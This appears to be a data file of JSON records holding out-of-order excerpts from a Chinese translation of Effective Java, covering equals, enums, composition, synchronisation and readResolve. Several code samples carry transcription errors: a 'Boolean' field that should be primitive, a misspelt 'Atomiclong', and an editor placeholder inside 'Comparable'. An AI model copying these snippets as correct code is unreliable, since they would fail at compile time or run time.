    {"text": "虽然没有令人满意的方法来继承一个可实例化的类并添加一个值组件，但是有一个很好的变通方法：按照条目 18 的建议，“优先使用组合而不是继承”。"},
    {"text": "// Adds a value component without violating the equals contract public class ColorPoint { private final Point point; private final Color color; public ColorPoint ( int x, int y, Color color) { point = new Point(x, y); this .color = Objects.requireNonNull(color); } /** * Returns the point-view of this color point. */ public Point asPoint () { return point; } @Override public boolean equals (Object o) { if (!(o instanceof ColorPoint)) return false ; ColorPoint cp = (ColorPoint) o; return cp.point.equals(point) && cp.color.equals(color); } ... // Remainder omitted } Java 平台类库中有一些类可以继承可实例化的类并添加一个值组件。"},
    {"text": "一致性（Consistent） ——equals 约定的第四个要求是，如果两个对象是相等的，除非一个（或两个）对象被修改了， 那么它们必须始终保持相等。"},
    {"text": "许多类中的 equals 方法都会明确阻止对象为 null 的情况： @Override public boolean equals (Object o) { if (o == null ) return false ; ... } 这个判断是不必要的。"},
    {"text": "在执行类型转换之前，该方法必须使用 instanceof 运算符来检查其参数是否是正确的类型： @Override public boolean equals (Object o) { if (!(o instanceof MyType)) return false ; MyType mt = (MyType) o; ... } 如果此类型检查漏掉，并且 equals 方法传递了错误类型的参数，那么 equals 方法将抛出 ClassCastException 异常，这违反了 equals 约定。"},
    {"text": "虽然你可以使用静态方法 Float.equals 和 Double.equals 方法对 float 和 double 基本类型的属性进行比较，这会导致每次比较时发生自动装箱，引发非常差的性能。"},
    {"text": "在这种情况下，你想要保存属性的一个规范形式（ canonical form），这样 equals 方法就可以基于这个规范形式去做开销很小的精确比较，来取代开销很大的非标准比较。"},
    {"text": "当你完成编写完 equals 方法时，问你自己三个问题：它是对称的吗?它是传递吗?它是一致的吗?除此而外，编写单元测试加以排查，除非使用 AutoValue 框架 (第 49 页) 来生成 equals 方法，在这种情况下可以安全地省略测试。"},
    {"text": "在下面这个简单的 PhoneNumber 类中展示了根据之前的配方构建的 equals 方法： public final class PhoneNumber { private final short areaCode, prefix, lineNum; public PhoneNumber ( int areaCode, int prefix, int lineNum) { this .areaCode = rangeCheck(areaCode, 999 , \"area code\" ); this .prefix = rangeCheck(prefix, 999 , \"prefix\" ); this .lineNum = rangeCheck(lineNum, 9999 , \"line num\" ); } private static short rangeCheck ( int val, int max, String arg) { if (val < 0 || val > max) throw new IllegalArgumentException(arg + \": \" + val); return ( short ) val; } @Override public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof PhoneNumber)) return false ; PhoneNumber pn = (PhoneNumber) o; return pn.lineNum == lineNum && pn.prefix == prefix && pn.areaCode == areaCode; } ... // Remainder omitted } 以下是一些最后提醒： 当重写 equals 方法时，同时也要重写 hashCode 方法（条目 11） 。"},
    {"text": "在 equal 时方法声明中，不要将参数 Object 替换成其他类型。 对于程序员来说，编写一个看起来像这样的 equals 方法并不少见，然后花上几个小时苦苦思索为什么它不能正常工作：在 equal 时方法声明中，不要将参数 Object 替换成其他类型。 对于程序员来说，编写一个看起来像这样的 equals 方法并不少见，然后花上几个小时苦苦思索为什么它不能正常工作。"},
    {"text": "// Broken - parameter type must be Object! public boolean equals (MyClass o) { … } 问题在于这个方法并没有重写 Object.equals 方法，它的参数是 Object 类型的，这样写只是重载了 equals 方法（Item 52）。"},
    {"text": "即使除了正常的方法之外，提供这种“强类型”的 equals 方法也是不可接受的，因为它可能会导致子类中的 Override 注解产生误报，提供不安全的错觉。"},
    {"text": "这个 equals 方法不会编译，错误消息会告诉你到底错在哪里： // Still broken, but won’t compile @Override public boolean equals (MyClass o) { … } 编写和测试 equals(和 hashCode) 方法很繁琐，生的代码也很普通。"},
    {"text": "很多 IDE（例如 Eclipse，NetBeans，IntelliJ IDEA 等）也有生成 equals 和 hashCode 方法的功能，但是生成的源代码比使用 AutoValue 框架的代码更冗长、可读性更差，不会自动跟踪类中的更改，因此需要进行测试。 这就是说，使用 IDE 工具生成 equals(和 hashCode) 方法通常比手动编写它们更可取，因为 IDE 工具不会犯粗心大意的错误，而人类则会。"},
    {"text": "82. 文档应包含线程安全属性.md 82. 文档应包含线程安全属性.md 82. 文档应包含线程安全属性 类在其方法并发使用时的行为是其与客户端约定的重要组成部分。"},
    {"text": "这些类别（不包括线程对立类）大致对应于《Java Concurrency in Practice》中的线程安全注解，分别为 Immutable、ThreadSafe 和 NotThreadSafe [Goetz06, Appendix A]。 上面分类中的无条件线程安全和有条件的线程安全都包含在 ThreadSafe 注解中。"},
    {"text": "例如， Collections.synchronizedMap 的文档提到： It is imperative that the user manually synchronize on the returned map when iterating over any of its collection views: 当用户遍历其集合视图时，必须手动同步返回的 Map： Map<K, V> m = Collections.synchronizedMap( new HashMap<>()); Set<K> s = m.keySet(); // Needn't be in synchronized block ... synchronized (m) { // Synchronizing on m, not s! for (K key : s) key.f(); } 不遵循这个建议可能会导致不确定的行为。"},
    {"text": "为了防止这种拒绝服务攻击，你可以使用一个私有锁对象，而不是使用同步方法（隐含一个公共可访问的锁）： 因为私有锁对象在类之外是不可访问的，所以客户端不可能干扰对象的同步。"},
    {"text": "私有锁对象用法只能在无条件的线程安全类上使用。 有条件的线程安全类不能使用这种用法，因为它们必须在文档中记录，在执行某些方法调用序列时要获取哪些锁。"},
    {"text": "Introduction Introduction effective-java-3rd-chinese 来源： sjsdfg/effective-java-3rd-chinese 前51条：文章翻译来源地址： https://www.jianshu.com/c/ce8cf0e13b23 现在全部章节已经更新完成 https://sjsdfg.github.io/effective-java-3rd-chinese/#/ 提供更好的在线阅读版本 pdf 下载 about this repository 本来以为只是个直接搬运的活，实际上不是。主要工作如下： 改进排版，原有博文排版不太优秀，根据 markdwon 排版指北 重新排版。 内容修改，原作者在翻译过程中有笔误（可能打字太快了），这里进行修改。 等待内容搬运完成，使用 cmd markdown 生成 pdf 离线文件 markdown 文件以及英文版原版链接也都放在了 github 上面，希望小伙伴也可以中英文对照，给出一些意见。 额外资源 effective-java-2nd 中文版 effective-java-3rd 英文版 effective-java-3rd 源代码 友情链接 On Java 8中文版"},
    {"text": "34. 使用枚举类型替代整型常量.md 34. 使用枚举类型替代整型常量.md Java 支持两种引用类型的特殊用途的系列：一种称为枚举类型的类和一种称为注解类型的接口。"},
    {"text": "34. 使用枚举类型替代整型常量 枚举是其合法值由一组固定的常量组成的一种类型，例如一年中的季节，太阳系中的行星或一副扑克牌中的套装。"},
    {"text": "在将枚举类型添加到该语言之前，表示枚举类型的常见模式是声明一组名为 int 的常量，每个类型的成员都有一个常量： // The int enum pattern - severely deficient! public static final int APPLE_FUJI = 0 ; public static final int APPLE_PIPPIN = 1 ; public static final int APPLE_GRANNY_SMITH = 2 ; public static final int ORANGE_NAVEL = 0 ; public static final int ORANGE_TEMPLE = 1 ; public static final int ORANGE_BLOOD = 2 ;。"},
    {"text": "如果你将一个 Apple 传递给一个需要 Orange 的方法，那么编译器不会出现警告，还会用 == 运算符比较 Apple 与 Orange ，或者更糟糕的是： // Tasty citrus flavored applesauce! int i = (APPLE_FUJI - ORANGE_TEMPLE) / APPLE_PIPPIN; 请注意，每个 Apple 常量的名称前缀为 APPLE_ ，每个 Orange 常量的名称前缀为 ORANGE_ 。"},
    {"text": "因为 int 枚举是编译时常量[JLS，4.12.4]，所以它们的 int 值被编译到使用它们的客户端中[JLS，13.1]。 如果与 int 枚举关联的值发生更改，则必须重新编译其客户端。"},
    {"text": "以下是它最简单的形式： public enum Apple { FUJI, PIPPIN, GRANNY_SMITH } public enum Orange { NAVEL, TEMPLE, BLOOD } 从表面上看，这些枚举类型可能看起来与其他语言类似，比如 C，C++和 C＃，但事实并非如此。"},
    {"text": "Java 的枚举类型是完整的类，比其他语言中的其他语言更强大，其枚举本质本上是 int 值。 Java 枚举类型背后的基本思想很简单：它们是通过公共静态 final 属性为每个枚举常量导出一个实例的类。"},
    {"text": "尝试传递错误类型的值将导致编译时错误，因为会尝试将一个枚举类型的表达式分配给另一个类型的变量，或者使用 == 运算符来比较不同枚举类型的值。"},
    {"text": "可以在枚举类型中添加或重新排序常量，而无需重新编译其客户端，因为导出常量的属性在枚举类型与其客户端之间提供了一层隔离：常量值不会编译到客户端，因为它们位于 int 枚举模式中。"},
    {"text": "它们提供了所有 Object 方法的高质量实现（第 3 章），它们实现了 Compa 此处输入代码 rable（条目 14）和 Serializable （第 12 章），并针对枚举类型的可任意改变性设计了序列化方式。"},
    {"text": "在这种情况下，它们是地球的质量和半径： // Enum type with data and behavior public enum Planet { MERCURY( 3.302e+23 , 2.439e6 ), VENUS ( 4.869e+24 , 6.052e6 ), EARTH ( 5.975e+24 , 6.378e6 ), MARS ( 6.419e+23 , 3.393e6 ), JUPITER( 1.899e+27 , 7.149e7 ), SATURN ( 5.685e+26 , 6.027e7 ), URANUS ( 8.683e+25 , 2.556e7 ), NEPTUNE( 1.024e+26 , 2.477e7 ); private final double mass; // In kilograms private final double radius; // In meters private final double surfaceGravity; // In m / s^2 // Universal gravitational constant in m^3 / kg s^2 private static final double G = 6.67300E-11 ; // Constructor Planet( double mass, double radius) { this .mass = mass; this .radius = radius; surfaceGravity = G * mass / (radius * radius); } public double mass () { return mass; } public double radius () { return radius; } public double surfaceGravity () { return surfaceGravity; } public double surfaceWeight ( double mass) { return mass * surfaceGravity; // F = ma } } 编写一个丰富的枚举类型比如 Planet 很容易。"},
    {"text": "这是一个简短的程序，它将一个物体在地球上的重量（任何单位），打印一个漂亮的表格，显示该物体在所有八个行星上的重量（以相同单位）： public class WeightTable { public static void main (String[] args) { double earthWeight = Double.parseDouble(args[ 0 ]); double mass = earthWeight / Planet.EARTH.surfaceGravity(); for (Planet p : Planet.values()) System.out.printf( \"Weight on %s is %f%n\" , p, p.surfaceWeight(mass)); } } 请注意， Planet 和所有枚举一样，都有一个静态 values 方法，该方法以声明的顺序返回其值的数组。"},
    {"text": "这是使用命令行参数 185 运行 WeightTable 程序（不重写 toString ）的结果： Weight on MERCURY is 69.912739 Weight on VENUS is 167.434436 Weight on EARTH is 185.000000 Weight on MARS is 70.226739 Weight on JUPITER is 467.990696 Weight on SATURN is 197.120111 Weight on URANUS is 167.398264 Weight on NEPTUNE is 210.208751 直到 2006 年，在 Java 中加入枚举两年之后，冥王星不再是一颗行星。"},
    {"text": "如果重新编译客户端程序，编译将会失败并在引用前一个星球的行处提供有用的错误消息; 如果无法重新编译客户端，它将在运行时从此行中引发有用的异常。"},
    {"text": "与其他类一样，除非你有一个令人信服的理由将枚举方法暴露给它的客户端，否则将其声明为私有的，如果需要的话将其声明为包级私有（条目 15）。"},
    {"text": "// Enum type that switches on its own value - questionable public enum Operation { PLUS, MINUS, TIMES, DIVIDE; // Do the arithmetic operation represented by this constant public double apply ( double x, double y) { switch ( this ) { case PLUS: return x + y; case MINUS: return x - y; case TIMES: return x * y; case DIVIDE: return x / y; } throw new AssertionError( \"Unknown op: \" + this ); } } 此代码有效，但不是很漂亮。"},
    {"text": "幸运的是，有一种更好的方法可以将不同的行为与每个枚举常量关联起来：在枚举类型中声明一个抽象的 apply 方法，并用常量特定的类主体中的每个常量的具体方法重写它。 这种方法被称为特定于常量（constant-specific）的方法实现： // Enum type with constant-specific method implementations public enum Operation { PLUS { public double apply ( double x, double y) { return x + y;}}, MINUS { public double apply ( double x, double y) { return x - y;}}, TIMES { public double apply ( double x, double y) { return x * y;}}, DIVIDE{ public double apply ( double x, double y) { return x / y;}}; public abstract double apply ( double x, double y) ; } 如果向第二个版本的操作添加新的常量，则不太可能会忘记提供 apply 方法，因为该方法紧跟在每个常量声明之后。"},
    {"text": "例如，以下是 Operation 的一个版本，它重写 toString 方法以返回通常与该操作关联的符号： // Enum type with constant-specific class bodies and data public enum Operation { PLUS( \"+\" ) { public double apply ( double x, double y) { return x + y; } }, MINUS( \"-\" ) { public double apply ( double x, double y) { return x - y; } }, TIMES( \"*\" ) { public double apply ( double x, double y) { return x * y; } }, DIVIDE( \"/\" ) { public double apply ( double x, double y) { return x / y; } }; private final String symbol; Operation(String symbol) { this .symbol = symbol; } @Override public String toString () { return symbol; } public abstract double apply ( double x, double y) ; } 显示的 toString 实现可以很容易地打印算术表达式，正如这个小程序所展示的那样： public static void main (String[] args) { double x = Double.parseDouble(args[ 0 ]); double y = Double.parseDouble(args[ 1 ]); for (Operation op : Operation.values()) System.out.printf( \"%f %s %f = %f%n\" , x, op, y, op.apply(x, y)); } 以 2 和 4 作为命令行参数运行此程序会生成以下输出： 2.000000 + 4.000000 = 6.000000 2.000000 - 4.000000 = - 2.000000 2.000000 * 4.000000 = 8.000000 2.000000 / 4.000000 = 0.500000 枚举类型具有自动生成的 valueOf(String) 方法，该方法将常量名称转换为常量本身。"},
    {"text": "下面的代码（类型名称被适当地改变）将对任何枚举都有效，只要每个常量具有唯一的字符串表示形式： // Implementing a fromString method on an enum type private static final Map<String, Operation> stringToEnum = Stream.of(values()).collect( toMap(Object::toString, e -> e)); // Returns Operation for string, if any public static Optional<Operation> fromString (String symbol) { return Optional.ofNullable(stringToEnum.get(symbol)); } 请注意， Operation 枚举常量被放在 stringToEnum 的 map 中，它来自于创建枚举常量后运行的静态属性初始化。"},
    {"text": "例如，考虑一个代表工资包中的工作天数的枚举。 该枚举有一个方法，根据工人的基本工资（每小时）和当天工作的分钟数计算当天工人的工资。"},
    {"text": "使用 switch 语句，通过将多个 case 标签应用于两个代码片段中的每一个，可以轻松完成此计算： // Enum that switches on its value to share code - questionable enum PayrollDay { MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY; private static final int MINS_PER_SHIFT = 8 * 60 ; int pay ( int minutesWorked, int payRate) { int basePay = minutesWorked * payRate; int overtimePay; switch ( this ) { case SATURDAY: case SUNDAY: // Weekend overtimePay = basePay / 2 ; break ; default : // Weekday overtimePay = minutesWorked <= MINS_PER_SHIFT ? 0 : (minutesWorked - MINS_PER_SHIFT) * payRate / 2 ; } return basePay + overtimePay; } } 这段代码无可否认是简洁的，但从维护的角度来看是危险的。"},
    {"text": "要使用特定于常量的方法实现安全地执行工资计算，必须为每个常量重复加班工资计算，或将计算移至两个辅助方法，一个用于工作日，另一个用于周末，并调用适当的辅助方法来自每个常量。"},
    {"text": "这个想法是将加班费计算移入私有嵌套枚举中，并将此策略枚举的实例传递给 PayrollDay 枚举的构造方法。 然后， PayrollDay 枚举将加班工资计算委托给策略枚举，从而无需在 PayrollDay 中实现 switch 语句或特定于常量的方法实现。"},
    {"text": "虽然这种模式不如 switch 语句简洁，但它更安全，更灵活： // The strategy enum pattern enum PayrollDay { MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY(PayType.WEEKEND), SUNDAY(PayType.WEEKEND); private final PayType payType; PayrollDay(PayType payType) { this .payType = payType; } PayrollDay() { this (PayType.WEEKDAY); } // Default int pay ( int minutesWorked, int payRate) { return payType.pay(minutesWorked, payRate); } // The strategy enum type private enum PayType { WEEKDAY { int overtimePay ( int minsWorked, int payRate) { return minsWorked <= MINS_PER_SHIFT ? 0 : (minsWorked - MINS_PER_SHIFT) * payRate / 2 ; } }, WEEKEND { int overtimePay ( int minsWorked, int payRate) { return minsWorked * payRate / 2 ; } }; abstract int overtimePay ( int mins, int payRate) ; private static final int MINS_PER_SHIFT = 8 * 60 ; int pay ( int minsWorked, int payRate) { int basePay = minsWorked * payRate; return basePay + overtimePay(minsWorked, payRate); } } } 如果对枚举的 switch 语句不是实现常量特定行为的好选择，那么它们有什么好处呢?枚举类型的 switch 有利于用常量特定的行为增加枚举类型。"},
    {"text": "你可以用以下静态方法模拟效果: // Switch on an enum to simulate a missing method public static Operation inverse (Operation op) { switch (op) { case PLUS: return Operation.MINUS; case MINUS: return Operation.PLUS; case TIMES: return Operation.DIVIDE; case DIVIDE: return Operation.TIMES; default : throw new AssertionError( \"Unknown op: \" + op); } } 如果某个方法不属于枚举类型，则还应该在你控制的枚举类型上使用此技术。"},
    {"text": "在包中使用继承是安全的，其中子类和父类的实现都在同一个程序员的控制之下。 对应专门为了继承而设计的，并且有文档说明的类来说（条目 19），使用继承也是安全的。"},
    {"text": "为了调整程序的性能，需要查询 HashSet ，从创建它之后已经添加了多少个元素（不要和当前的元素数量混淆，当元素被删除时数量也会下降）。 为了提供这个功能，编写了一个 HashSet 变体，它保留了尝试元素插入的数量，并导出了这个插入数量的一个访问方法。 HashSet 类包含两个添加元素的方法，分别是 add 和 addAll ，所以我们重写这两个方法： // Broken - Inappropriate use of inheritance! public class InstrumentedHashSet < E > extends HashSet < E > { // The number of attempted element insertions private int addCount = 0 ; public InstrumentedHashSet () { } public InstrumentedHashSet ( int initCap, float loadFactor) { super (initCap, loadFactor); } @Override public boolean add (E e) { addCount++; return super .add(e); } @Override public boolean addAll (Collection<? extends E> c) { addCount += c.size(); return super .addAll(c); } public int getAddCount () { return addCount; } } 这个类看起来很合理，但是不能正常工作。"},
    {"text": "如果使用的是早期版本，请改为使用 Arrays.asList ： InstrumentedHashSet<String> s = new InstrumentedHashSet<>(); s.addAll(List.of( \"Snap\" , \"Crackle\" , \"Pop\" )); 我们期望 getAddCount 方法返回的结果是 3，但实际上返回了 6。"},
    {"text": "在 HashSet 内部， addAll 方法是基于它的 add 方法来实现的，即使 HashSet 文档中没有指名其实现细节，倒也是合理的。 InstrumentedHashSet 中的 addAll 方法首先给 addCount 属性设置为 3，然后使用 super.addAll 方法调用了 HashSet 的 addAll 实现。 然后反过来又调用在 InstrumentedHashSet 类中重写的 add 方法，每个元素调用一次。 这三次调用又分别给 addCount 加 1，所以，一共增加了 6：通过 addAll 方法每个增加的元素都被计算了两次。"},
    {"text": "这相当于重新实现了父类方法，这样的方法可能不能确定到底是否时自用（self-use）的，实现起来也是困难的，耗时的，容易出错的，并且可能会降低性能。"},
    {"text": "如果父类在后续版本中添加了一个新的方法，并且你不幸给了子类一个具有相同签名和不同返回类型的方法，那么你的子类编译失败[JLS，8.4.8.3]。 如果已经为子类提供了一个与新的父类方法具有相同签名和返回类型的方法，那么你现在正在重写它，因此将遇到前面所述的问题。 此外，你的方法是否会履行新的父类方法的约定，这是值得怀疑的，因为在你编写子类方法时，这个约定还没有写出来。"},
    {"text": "不要继承一个现有的类，而应该给你的新类增加一个私有属性，该属性是 现有类的实例引用，这种设计被称为组合（composition），因为现有的类成为新类的组成部分。"},
    {"text": "请注意，实现分为两部分，类本身和一个可重用的转发类，其中包含所有的转发方法，没有别的方法： // Reusable forwarding class import java.util.Collection; import java.util.Iterator; import java.util.Set; public class ForwardingSet < E > implements Set < E > { private final Set<E> s; public ForwardingSet (Set<E> s) { this .s = s; } public void clear () { s.clear(); } public boolean contains (Object o) { return s.contains(o); } public boolean isEmpty () { return s.isEmpty(); } public int size () { return s.size(); } public Iterator<E> iterator () { return s.iterator(); } public boolean add (E e) { return s.add(e); } public boolean remove (Object o) { return s.remove(o); } public boolean containsAll (Collection<?> c) { return s.containsAll(c); } public boolean addAll (Collection<? extends E> c) { return s.addAll(c); } public boolean removeAll (Collection<?> c) { return s.removeAll(c); } public boolean retainAll (Collection<?> c) { return s.retainAll(c); } public Object[] toArray() { return s.toArray(); } public <T> T[] toArray(T[] a) { return s.toArray(a); } @Override public boolean equals (Object o) { return s.equals(o); } @Override public int hashCode () { return s.hashCode(); } @Override public String toString () { return s.toString(); } } // Wrapper class - uses composition in place of inheritance import java.util.Collection; import java.util.Set; public class InstrumentedSet < E > extends ForwardingSet < E > { private int addCount = 0 ; public InstrumentedSet (Set<E> s) { super (s); } @Override public boolean add (E e) { addCount++; return super .add(e); } @Override public boolean addAll (Collection<? extends E> c) { addCount += c.size(); return super .addAll(c); } public int getAddCount () { return addCount; } } InstrumentedSet 类的设计是通过存在的 Set 接口来实现的，该接口包含 HashSet 类的功能特性。"},
    {"text": "与基于继承的方法不同，该方法仅适用于单个具体类，并且父类中每个需要支持构造方法，提供单独的构造方法，所以可以使用包装类来包装任何 Set 实现，并且可以与任何预先存在的构造方法结合使用： Set<Instant> times = new InstrumentedSet<>( new TreeSet<>(cmp)); Set<E> s = new InstrumentedSet<>( new HashSet<>(INIT_CAPACITY)); InstrumentedSet 类甚至可以用于临时替换没有计数功能下使用的集合实例： static void walk (Set<Dog> dogs) { InstrumentedSet<Dog> iDogs = new InstrumentedSet<>(dogs); ... // Within this method use iDogs instead of dogs } InstrumentedSet 类被称为包装类，因为每个 InstrumentedSet 实例都包含（“包装”）另一个 Set 实例。"},
    {"text": "一个警告是包装类不适合在回调框架（callback frameworks）中使用，其中对象将自我引用传递给其他对象以用于后续调用（“回调”）。 因为一个被包装的对象不知道它外面的包装对象，所以它传递一个指向自身的引用（this），回调时并不记得外面的包装对象。"},
    {"text": "例如，属性 p 指向 Properties 实例，那么 p.getProperty(key) 和 p.get(key) 就有可能返回不同的结果：前者考虑了默认的属性表，而后者是继承 Hashtable 的，它则没有考虑默认属性列表。"},
    {"text": "78. 同步访问共享的可变数据.md 78. 同步访问共享的可变数据.md 78. 同步访问共享的可变数据 关键字 synchronized 可以保证在同一时刻，只有一个线程可以执行某一个方法，或者某一个代码块。"},
    {"text": "许多程序员把同步的概念仅仅理解为一种互斥（ mutual exclusion ）的方式，即，当一个对象被一个线程修改的时候，可以阻止另一个线程观察到对象内部不一致的状态。"},
    {"text": "同步不仅可以阻止一个线程看到对象处于不一致的状态之中，它还可以保证进入同步方法或者同步代码块的每个线程，都能看到由同一个锁保护的之前所有的修改效果。"},
    {"text": "换句话说，读取一个非 long 或 double 类型的变量，可以保证返回值是某个线程保存在该变量中的， 即使多个线程在没有同步的情况下并发地修改这个变量也是如此。"},
    {"text": "这归因于 Java 语言规范中的内存模型（memory model），它规定了一个线程所做的变化何时以及如何变成对其他线程可见[JLS ,17.4; Goetz06, 16]。"},
    {"text": "要阻止一个线程妨碍另一个线程，建议的做法是让第一个线程轮询（ poll ） 一个 boolean 字段，这个字段一开始为 false ，但是可以通过第二个线程设置为 true ，以表示第一个线程将终止自己。"},
    {"text": "由于 boolean 字段的读和写操作都是原子的，程序员在访问这个字段的时候不再需要使用同步： // Broken! - How long would you expect this program to run? public class StopThread { private static Boolean stopRequested; public static void main (String[] args) throws InterruptedException { Thread backgroundThread = new Thread(() -> { int i = 0 ; while (!stopRequested) i++; }); backgroundThread.start(); TimeUnit.SECONDS.sleep( 1 ); stopRequested = true ; } } 你可能期待这个程序运行大约一秒钟左右，之后主线程将 stopRequested 设置为 true ，致使后台线程的循环终止。"},
    {"text": "没有同步，虚拟机将以下代码： while (!stopRequested) i++; 转变成这样： if (!stopRequested) while ( true ) i++; 这种优化称作提升（ hoisting ），正是 OpenJDK Server VM 的工作。"},
    {"text": "这个程序会如预期般在大约一秒之内终止： // Properly synchronized cooperative thread termination public class StopThread { private static Boolean stopRequested; private static synchronized void requestStop () { stopRequested = true ; } private static synchronized Boolean stopRequested () { return stopRequested; } public static void main (String[] args) throws InterruptedException { Thread backgroundThread = new Thread(() -> { int i = 0 ; while (!stopRequested()) i++; }); backgroundThread.start(); TimeUnit.SECONDS.sleep( 1 ); requestStop(); } } 注意写方法（ requestStop ）和读方法（ stopRequested ）都被同步了。"},
    {"text": "虽然 volatile 修饰符不执行互斥访问，但它可以保证任何一个线程在读取该字段的时候都将看到最近刚刚被写入的值： // Cooperative thread termination with a volatile field public class StopThread { private static volatile Boolean stopRequested; public static void main (String[] args) throws InterruptedException { Thread backgroundThread = new Thread(() -> { int i = 0 ; while (!stopRequested) i++; }); backgroundThread.start(); TimeUnit.SECONDS.sleep( 1 ); stopRequested = true ; } } 在使用 volatile 的时候务必要小心。"},
    {"text": "以下面的方法为例，假设它要产生序列号： // Broken - requires synchronization! private static volatile int nextSerialNumber = 0 ; public static int generateSerialNumber () { return nextSerialNumber++; } 这个方法的目的是要确保每个调用都返回不同的值（只要不超过 2 32 个调用） 。"},
    {"text": "这正是你想让 generateSerialNumber 完成的工作，并且它可能比同步版本完成得更好： // Lock-free synchronization with java.util.concurrent.atomic private static final Atomiclong nextSerialNum = new Atomiclong(); public static long generateSerialNumber () { return nextSerialNum.getAndIncrement(); } 避免本条目中所讨论到的问题的最佳办法是不共享可变的数据。"},
    {"text": "将这种对象引用从一个线程传递到其他的线程被称作安全发布（ safe publication) [Goetz06, 3.5.3] 。 安全发布对象引用有许多种方法：可以将它保存在静态字段巾，作为类初始化的一部分；"},
    {"text": "19. 如使用继承则设计，应当文档说明，否则不该使用.md 19. 如使用继承则设计，应当文档说明，否则不该使用.md 19. 如使用继承则设计，应当文档说明，否则不该使用 条目 18 中提醒你注意继承没有设计和文档说明的“外来”类的子类化的危险。"},
    {"text": "下面是从 java.util.AbstractCollection 类的规范中拷贝的例子： public boolean remove (Object o) Removes a single instance of the specified element from this collection, if it is present (optional operation) . More formally, removes an element e such that Objects. equals (o, e) , if this collection contains one or more such elements. Returns true if this collection contained the specified element (or equivalently, if this collection changed as a result of the call) . Implementation Requirements: This implementation iterates over the collection looking for the specified element. If it finds the element, it removes the element from the collection using the iterator’s remove method. Note that this implementation throws an UnsupportedOperationException if the iterator returned by this collection’s iterator method does not implement the remove method and this collection contains the specified object. 从该集合中删除指定元素的单个实例（如果存在，optional 实例操作）。"},
    {"text": "为了让程序员能够写出有效的子类而不会带来不适当的痛苦，一个类可能以明智选择的受保护方法的形式提供内部工作，或者在罕见的情况下，提供受保护的属性。"},
    {"text": "例如，考虑 java.util.AbstractList 中的 removeRange 方法： protected void removeRange ( int fromIndex, int toIndex) Removes from this list all of the elements whose index is between fromIndex, inclusive, and toIndex, exclusive. Shifts any succeeding elements to the left (reduces their index) . This call shortens the list by (toIndex - fromIndex) elements. (If toIndex == fromIndex, this operation has no effect.) This method is called by the clear operation on this list and its sublists. Overriding this method to take advantage of the internals of the list implementation can substantially improve the performance of the clear operation on this list and its sublists. Implementation Requirements: This implementation gets a list iterator positioned before fromIndex and repeatedly calls ListIterator.nextfollowed by ListIterator.remove, until the entire range has been removed. Note: If ListIterator.remove requires linear time, this implementation requires quadratic time. Parameters: fromIndex index of first element to be removed. toIndex index after last element to be removed. 从此列表中删除索引介于 fromIndex （包含）和 inclusive （不含）之间的所有元素。"},
    {"text": "在没有 removeRange 方法的情况下，当在子列表上调用 clear 方法，子类将不得不使用平方级的时间，否则，或从头重写整个 subList 机制——这不是一件容易的事情！"},
    {"text": "为了具体说明，这是一个违反这个规则的类： public class Super { // Broken - constructor invokes an overridable method public Super () { overrideMe(); } public void overrideMe () { } } 以下是一个重写 overrideMe 方法的子类， Super 类的唯一构造方法会错误地调用它： public final class Sub extends Super { // Blank final, set by constructor private final Instant instant; Sub() { instant = Instant.now(); } // Overriding method invoked by superclass constructor @Override public void overrideMe () { System.out.println(instant); } public static void main (String[] args) { Sub sub = new Sub(); sub.overrideMe(); } } 你可能期望这个程序打印两次 instant 实例，但是它第一次打印出 null ，因为在 Sub 构造方法有机会初始化 instant 属性之前， overrideMe 被 Super 构造方法调用。"},
    {"text": "Cloneable 和 Serializable 接口在设计继承时会带来特殊的困难。 对于为继承而设计的类来说，实现这些接口通常不是一个好主意，因为这会给继承类的程序员带来很大的负担。"},
    {"text": "如果你决定在为继承而设计的类中实现 Cloneable 或 Serializable 接口，那么应该知道，由于 clone 和 readObject 方法与构造方法相似，所以也有类似的限制： clone 和 readObject 都不会直接或间接调用可重写的方法。"},
    {"text": "在 readObject 的情况下，重写方法将在子类的状态被反序列化之前运行。 在 clone 的情况下，重写方法将在子类的 clone 方法有机会修复克隆的状态之前运行。"},
    {"text": "最后，如果你决定在为继承设计的类中实现 Serializable 接口，并且该类有一个 readResolve 或 writeReplace 方法，则必须使 readResolve 或 writeReplace 方法设置为受保护而不是私有。"},
    {"text": "将每个可重写的方法的主体移动到一个私有的“帮助器方法”，并让每个可重写的方法调用其私有的帮助器方法。 然后用直接调用可重写方法的专用帮助器方法来替换每个自用的可重写方法。"},
    {"text": "89. 对于实例控制，枚举类型优于 readResolve.md 89. 对于实例控制，枚举类型优于 readResolve.md 89. 对于实例控制，枚举类型优于 readResolve 第 3 条讲述了 Singletion（单例）模式，并且给出了以下这个 Singletion 示例。"},
    {"text": "public class Elvis { public static final Elvis INSTANCE = new Elvis(); private Elvis () { ... } public void leaveTheBuilding () { ... } } 正如在第 3 条中所提到的，如果在这个类上面增加 implements Serializable 的字样，它就不是一个单例。"},
    {"text": "任何一个 readObject 方法，不管是显式的还是默认的，都会返回一个新建的实例，这个新建的实例不同于类初始化时创建的实例。 readResolve 特性允许你用 readObject 创建的实例代替另外一个实例[Serialization, 3.7]。 对于一个正在被反序列化的对象，如果它的类定义了一个 readResolve 方法，并且具备正确的声明，那么在反序列化之后，新建对象上的 readResolve 方法就会被调用。"},
    {"text": "然后，该方法返回的对象引用将会被回收，取代新建的对象。 这个特性在绝大多数用法中，指向新建对象的引用不会再被保留，因此成为垃圾回收的对象。"},
    {"text": "如果 Elvis 类要实现 Serializable 接口，下面的 readResolve 方法就足以保证它的单例属性： // readResolve for instance control - you can do better! private Object readResolve () { // Return the one true Elvis and let the garbage collector // take care of the Elvis impersonator. return INSTANCE; } 该方法忽略了被反序列化的对象，只返回类初始化创建的那个特殊的 Elvis 实例。"},
    {"text": "所有的实例字段都应该被声明为 transient 。 事实上， 如果依赖 readResolve 进行实例控制，带有对象引用类型的所有实例字段都必须声明为 transient 。"},
    {"text": "否则，那种破釜沉舟式的攻击者，就有可能在 readResolve 方法运行之前，保护指向反序列化对象的引用，采用的方式类似于在第 88 条中提到的 MutablePeriod 攻击。"},
    {"text": "如果单例包含一个非 transient 的对象引用字段，这个字段的内容就可以在单例的 readResolve 方法之前被反序列化。 当对象引用字段的内容被反序列化时，它就允许一个精心制作的流“盗用”指向最初被反序列化的单例对象引用。"},
